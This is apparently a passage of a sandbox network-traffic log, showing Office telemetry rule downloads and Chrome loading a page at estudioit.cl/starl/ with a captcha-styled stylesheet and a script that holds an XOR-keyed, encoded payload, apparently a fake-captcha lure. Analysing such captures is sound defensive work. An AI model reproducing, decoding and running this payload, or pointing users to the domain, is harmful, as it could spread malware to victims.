2024-11-20 09:20:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:03 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092003Z-r1d97b99577n5jhbhC1TEB74vn00000008n0000000007qfy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:03 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.9	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:03 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092003Z-185f5d8b95cp7lkfhC1NYC7rpw0000000a3000000000cy2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.9	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:03 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:03 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092003Z-1777c6cb754rz2pghC1TEBghen00000009b0000000004bw9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:03 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.9	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:03 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092003Z-185f5d8b95cdtclvhC1NYC4rmc0000000a50000000008qyb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.9	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:03 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:03 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 35891a85-601e-0070-700c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092003Z-1777c6cb7549x5qchC1TEBggbg00000009e0000000009qgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.9	49769	173.248.187.77	443	5900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:03 UTC	544	OUT	GET /starl/style.css HTTP/1.1 Host: estudioit.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://estudioit.cl/starl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 09:20:03 UTC	508	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=604800 expires: Wed, 27 Nov 2024 09:20:03 GMT content-type: text/css last-modified: Tue, 19 Nov 2024 17:38:36 GMT etag: "1098-673ccd1c-e16d7a0c713bf826;;;" accept-ranges: bytes content-length: 4248 date: Wed, 20 Nov 2024 09:20:03 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-20 09:20:03 UTC	860	IN	Data Raw: 2a 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 7d 0d 0a 0d 0a 62 6f 64 79 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 41 46 41 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 53 65 67 6f 65 20 55 49 27 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 36 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a Data Ascii: * { margin: 0; padding: 0; box-sizing: border-box;}body { background-color: #FFFAFA; font-family: 'Segoe UI', Arial, sans-serif; line-height: 1.6; color: #333;}.container { max-width: 800px; margin:
2024-11-20 09:20:03 UTC	3388	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 38 66 39 66 61 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 36 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 65 31 65 31 65 31 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 61 70 74 63 68 61 2d 62 6f 78 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 67 61 70 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 35 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 Data Ascii: background: #f8f9fa; padding: 20px; border-radius: 6px; border: 1px solid #e1e1e1;}.captcha-box { display: flex; align-items: center; justify-content: center; gap: 10px; margin-bottom: 15px; background: w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.9	49768	173.248.187.77	443	5900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:03 UTC	530	OUT	GET /starl/script.js HTTP/1.1 Host: estudioit.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://estudioit.cl/starl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 09:20:03 UTC	437	IN	HTTP/1.1 200 OK Connection: close content-type: text/javascript last-modified: Tue, 19 Nov 2024 17:48:06 GMT etag: "2e35-673ccf56-74962ac4a09efc43;;;" accept-ranges: bytes content-length: 11829 date: Wed, 20 Nov 2024 09:20:03 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-20 09:20:03 UTC	931	IN	Data Raw: 76 61 72 20 6b 65 79 20 3d 20 22 73 65 63 72 65 74 6b 65 79 22 3b 0d 0a 76 61 72 20 65 6e 63 6f 64 65 64 53 63 72 69 70 74 20 3d 20 22 46 77 6f 41 42 77 67 52 42 52 46 58 45 67 45 48 4e 78 4d 52 42 52 45 31 47 68 59 58 46 77 73 52 47 55 31 65 4e 79 6f 75 4d 51 6f 61 48 77 41 58 42 79 6b 4d 45 77 45 52 44 30 4a 56 55 30 31 4b 55 6c 68 4b 53 78 35 7a 55 30 56 44 55 67 6b 52 48 30 55 61 45 68 55 58 45 51 30 56 50 77 41 42 42 30 56 65 55 6b 4a 54 55 47 39 5a 55 30 56 44 48 67 41 41 53 77 51 4d 42 77 6f 45 41 41 51 57 43 51 41 64 4e 77 51 58 45 30 56 4a 53 30 4a 65 53 47 39 70 55 6b 56 55 53 30 70 57 55 79 67 4d 45 41 77 59 44 6b 55 39 46 68 45 47 45 52 45 64 42 41 74 7a 55 30 56 44 55 67 59 62 42 52 59 4e 55 77 77 51 50 77 6f 57 41 67 6b 63 55 31 68 44 58 51 Data Ascii: var key = "secretkey";var encodedScript = "FwoABwgRBRFXEgEHNxMRBRE1GhYXFwsRGU1eNyouMQoaHwAXBykMEwERD0JVU01KUlhKSx5zU0VDUgkRH0UaEhUXEQ0VPwABB0VeUkJTUG9ZU0VDHgAASwQMBwoEAAQWCQAdNwQXE0VJS0JeSG9pUkVUS0pWUygMEAwYDkU9FhEGEREdBAtzU0VDUgYbBRYNUwwQPwoWAgkcU1hDXQ
2024-11-20 09:20:03 UTC	10898	IN	Data Raw: 42 43 65 55 56 44 55 6b 56 55 53 30 56 5a 55 30 56 44 55 68 68 2b 59 55 56 5a 55 30 56 44 55 6b 56 55 53 30 56 5a 55 77 59 4d 48 42 59 41 53 78 45 63 41 42 45 6f 46 78 78 55 56 6b 56 65 42 77 41 51 42 69 6b 62 43 41 51 56 49 42 45 4d 41 41 51 54 44 6b 4a 43 65 55 56 44 55 6b 56 55 53 30 56 5a 55 30 56 44 55 67 6b 62 43 41 51 56 49 42 45 4d 41 41 51 54 44 6b 73 4b 46 68 45 71 42 67 41 5a 51 78 45 63 41 42 45 6f 46 78 78 59 53 30 4a 49 56 45 78 59 65 45 56 55 53 30 56 5a 55 30 56 44 55 6b 56 55 53 77 6b 57 45 41 51 50 49 52 45 62 47 51 51 65 46 6b 73 52 46 77 67 62 48 51 41 77 42 77 41 4f 57 68 45 52 47 42 45 79 46 68 78 4b 53 57 39 55 53 30 56 5a 55 30 56 44 55 68 68 55 43 41 51 4e 45 41 31 44 57 67 42 64 53 78 35 7a 55 30 56 44 55 6b 56 55 53 30 56 5a 55 Data Ascii: BCeUVDUkVUS0VZU0VDUhh+YUVZU0VDUkVUS0VZUwYMHBYASxEcABEoFxxUVkVeBwAQBikbCAQVIBEMAAQTDkJCeUVDUkVUS0VZU0VDUgkbCAQVIBEMAAQTDksKFhEqBgAZQxEcABEoFxxYS0JIVExYeEVUS0VZU0VDUkVUSwkWEAQPIREbGQQeFksRFwgbHQAwBwAOWhERGBEyFhxKSW9US0VZU0VDUhhUCAQNEA1DWgBdSx5zU0VDUkVUS0VZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.9	49770	173.248.187.77	443	5900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:03 UTC	589	OUT	GET /starl/logo.png HTTP/1.1 Host: estudioit.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://estudioit.cl/starl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 09:20:03 UTC	510	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=604800 expires: Wed, 27 Nov 2024 09:20:03 GMT content-type: image/png last-modified: Tue, 19 Nov 2024 17:45:29 GMT etag: "534f-673cceb9-a48ecc1075b6feb5;;;" accept-ranges: bytes content-length: 21327 date: Wed, 20 Nov 2024 09:20:03 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-20 09:20:03 UTC	858	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 4f 00 00 01 34 08 06 00 00 00 44 9d 7b b3 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 52 dc 49 44 41 54 78 da ec dd 4b 72 1b 49 da 20 5a af b2 1c 37 d5 2b 20 ea 6e 80 ac 15 10 39 e9 1e 92 35 6f 33 22 57 20 a6 71 01 82 16 40 4b e6 0a 14 32 eb 79 51 c3 be 93 04 57 50 e4 06 ba c0 15 94 78 37 f0 df 70 d0 91 82 28 3e 40 12 08 77 8f 38 c7 2c 0c 59 59 29 21 e0 8f 08 77 ff fc 11 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 37 7f 79 ea ff fc ff 8e fe 9f f3 f6 63 5f 32 f1 52 ff ed e2 ff 8e 5f f3 e7 3e fc bf 61 d2 7e 4c a4 20 af d0 Data Ascii: PNGIHDRO4D{pHYs.#.#x?vtEXtSoftwareAdobe ImageReadyqe<RIDATxKrI Z7+ n95o3"W q@K2yQWPx7p(>@w8,YY)!w7yc_2R_>a~L
2024-11-20 09:20:03 UTC	14994	IN	Data Raw: 00 00 00 80 57 39 3d 3d 8d 5b f0 9e 84 bb a0 e9 8e 14 01 00 6a 27 78 0a 00 00 00 00 bc 48 3a c3 74 1a ee 6d 9f 0b 00 50 3b c1 53 00 00 00 00 60 2d 82 a6 00 40 df 09 9e 02 00 00 00 00 4f 3a 3d 3d 1d b5 1f e7 21 cf 79 a6 00 00 9d f9 ab 24 00 00 00 00 00 1e 73 7a 7a 1a cf 34 bd 0a 02 a7 00 c0 00 58 79 0a 00 00 00 00 fc e0 f4 f4 f4 5d fb 71 11 6c d1 0b 00 0c 88 e0 29 00 40 8f 9c 9e 9e ee b7 1f e3 f6 8a 9f a3 07 fe 93 af e1 6e d5 40 bc 66 67 67 67 5f a5 1a 00 00 0f b4 2b 63 9b 32 06 4e 77 a4 06 00 30 24 82 a7 00 00 95 4b e7 4f c5 ad d4 8e da 6b 77 8d 3f 72 b8 f2 67 2f db 8f e6 ec ec ac 91 92 00 00 a4 36 e2 a4 fd f8 24 25 a0 d8 fe 5f bc e2 ca f0 fd f4 af 97 ff 6e d5 e8 91 fe e1 4d 7b cd ef fd bb 59 fa 8c 93 6c 17 13 6e 4d b4 e5 91 72 b7 9f ca de 6a f9 5b 8a ff Data Ascii: W9==[j'xH:tmP;S`-@O:==!y$szz4Xy]ql)@n@fggg_+c2Nw0$KOkw?rg/6$%_nM{YlnMrj[
2024-11-20 09:20:04 UTC	5475	IN	Data Raw: 0d e7 4d b8 0d 56 bb a0 fe 2c 1d b7 0d fc 66 40 9d 99 91 22 58 ae 14 4c 2b e5 6c ed bd b6 bc f4 71 72 41 7c ff 95 b0 85 d4 f9 86 eb f6 58 0d 2a b6 5e e7 3c 2f ed be 78 7e 5a 1f df 79 e7 e9 b7 e5 36 55 e2 59 83 e7 75 f9 7e 6b df ab 33 ed e6 07 db 1b 31 f8 5f 4a 60 64 d6 e1 77 e5 7e 77 4e 6b 5d 15 5d d0 04 a7 4d b5 c5 e2 ef f9 d4 fe 2e bb 58 3d fc 7c 28 69 ac 51 f0 14 00 ba 96 06 b7 2f 2b fe 09 17 9b d8 ae 04 7a 54 7f 8e 87 30 7b 34 cd 58 fe b7 52 58 bc 92 02 96 ef fb 54 37 d2 59 ae 25 ac 94 b8 49 5b c0 6d d2 d4 40 6f d1 9a 82 ee e5 b0 4f 13 23 d2 33 aa 84 ed 7a 4d 4e ac a7 2d 3a cb 7c 0b 47 72 a1 0a b1 bd 70 65 15 ea 77 cf db d8 c6 98 15 72 3b 37 e9 48 98 ae 9e 1b 71 fc e4 73 c6 df bb d8 be b7 d2 60 5d 09 13 9c 3e 6f 61 0c ec b0 bd e6 6d 9e 78 a6 87 3f 03 Data Ascii: MV,f@"XL+lqrA\|X*^</x~Zy6UYu~k31_J`dw~wNk]]M.X=\|(iQ/+zT0{4XRXT7Y%I[m@oO#3zMN-:\|Grpewr;7Hqs`]>oamx?

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.9	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:04 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092004Z-185f5d8b95cf7qddhC1NYC66an0000000a3g000000006mrn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.9	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
